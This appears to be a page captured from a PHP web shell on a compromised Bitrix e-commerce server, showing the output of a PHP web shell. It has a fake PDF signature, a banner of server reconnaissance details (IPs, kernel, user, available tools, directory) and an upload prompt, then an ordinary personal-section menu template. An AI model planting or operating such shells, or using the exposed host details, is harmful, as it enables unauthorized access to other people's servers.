%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 13.59.106.174 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.personal.section/templates/bootstrap_v4/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; if ($arParams["MAIN_CHAIN_NAME"] <> '') { $APPLICATION->AddChainItem(htmlspecialcharsbx($arParams["MAIN_CHAIN_NAME"]), $arResult['SEF_FOLDER']); } $this->addExternalCss("/bitrix/css/main/font-awesome.css"); $theme = Bitrix\Main\Config\Option::get("main", "wizard_eshop_bootstrap_theme_id", "blue", SITE_ID); $availablePages = array(); if ($arParams['SHOW_ORDER_PAGE'] === 'Y') { $availablePages[] = array( "path" => $arResult['PATH_TO_ORDERS'], "name" => Loc::getMessage("SPS_ORDER_PAGE_NAME"), "icon" => '<i class="fa fa-calculator"></i>' ); } if ($arParams['SHOW_ACCOUNT_PAGE'] === 'Y') { $availablePages[] = array( "path" => $arResult['PATH_TO_ACCOUNT'], "name" => Loc::getMessage("SPS_ACCOUNT_PAGE_NAME"), "icon" => '<i class="fa fa-credit-card"></i>' ); } if ($arParams['SHOW_PRIVATE_PAGE'] === 'Y') { $availablePages[] = array( "path" => $arResult['PATH_TO_PRIVATE'], "name" => Loc::getMessage("SPS_PERSONAL_PAGE_NAME"), "icon" => '<i class="fa fa-user-secret"></i>' ); } if ($arParams['SHOW_ORDER_PAGE'] === 'Y') { $delimeter = ($arParams['SEF_MODE'] === 'Y') ? "?" : "&"; $availablePages[] = array( "path" => $arResult['PATH_TO_ORDERS'].$delimeter."filter_history=Y", "name" => Loc::getMessage("SPS_ORDER_PAGE_HISTORY"), "icon" => '<i class="fa fa-list-alt"></i>' ); } if ($arParams['SHOW_PROFILE_PAGE'] === 'Y') { $availablePages[] = array( "path" => $arResult['PATH_TO_PROFILE'], "name" => Loc::getMessage("SPS_PROFILE_PAGE_NAME"), "icon" => '<i class="fa fa-list-ol"></i>' ); } if ($arParams['SHOW_BASKET_PAGE'] === 'Y') { $availablePages[] = array( "path" => $arParams['PATH_TO_BASKET'], "name" => Loc::getMessage("SPS_BASKET_PAGE_NAME"), "icon" => '<i class="fa fa-shopping-cart"></i>' ); } if ($arParams['SHOW_SUBSCRIBE_PAGE'] === 'Y') { $availablePages[] = array( "path" => $arResult['PATH_TO_SUBSCRIBE'], "name" => Loc::getMessage("SPS_SUBSCRIBE_PAGE_NAME"), "icon" => '<i class="fa fa-envelope"></i>' ); } if ($arParams['SHOW_CONTACT_PAGE'] === 'Y') { $availablePages[] = array( "path" => $arParams['PATH_TO_CONTACT'], "name" => Loc::getMessage("SPS_CONTACT_PAGE_NAME"), "icon" => '<i class="fa fa-info-circle"></i>' ); } $customPagesList = CUtil::JsObjectToPhp($arParams['~CUSTOM_PAGES']); if ($customPagesList) { foreach ($customPagesList as $page) { $availablePages[] = array( "path" => $page[0], "name" => $page[1], "icon" => (mb_strlen($page[2])) ? '<i class="fa '.htmlspecialcharsbx($page[2]).'"></i>' : "" ); } } if (empty($availablePages)) { ShowError(Loc::getMessage("SPS_ERROR_NOT_CHOSEN_ELEMENT")); } else { ?> <div class="row"> <? foreach ($availablePages as $blockElement) { ?> <div class="col-lg-3 col-md-6 col-sm-6 col"> <div class="sale-personal-section-index-block bx-theme-<?=$theme?>"> <a class="sale-personal-section-index-block-link" href="<?=htmlspecialcharsbx($blockElement['path'])?>"> <span class="sale-personal-section-index-block-ico"> <?=$blockElement['icon']?> </span> <h2 class="sale-personal-section-index-block-name"> <?=htmlspecialcharsbx($blockElement['name'])?> </h2> </a> </div> </div> <? } ?> </div> <? } ?>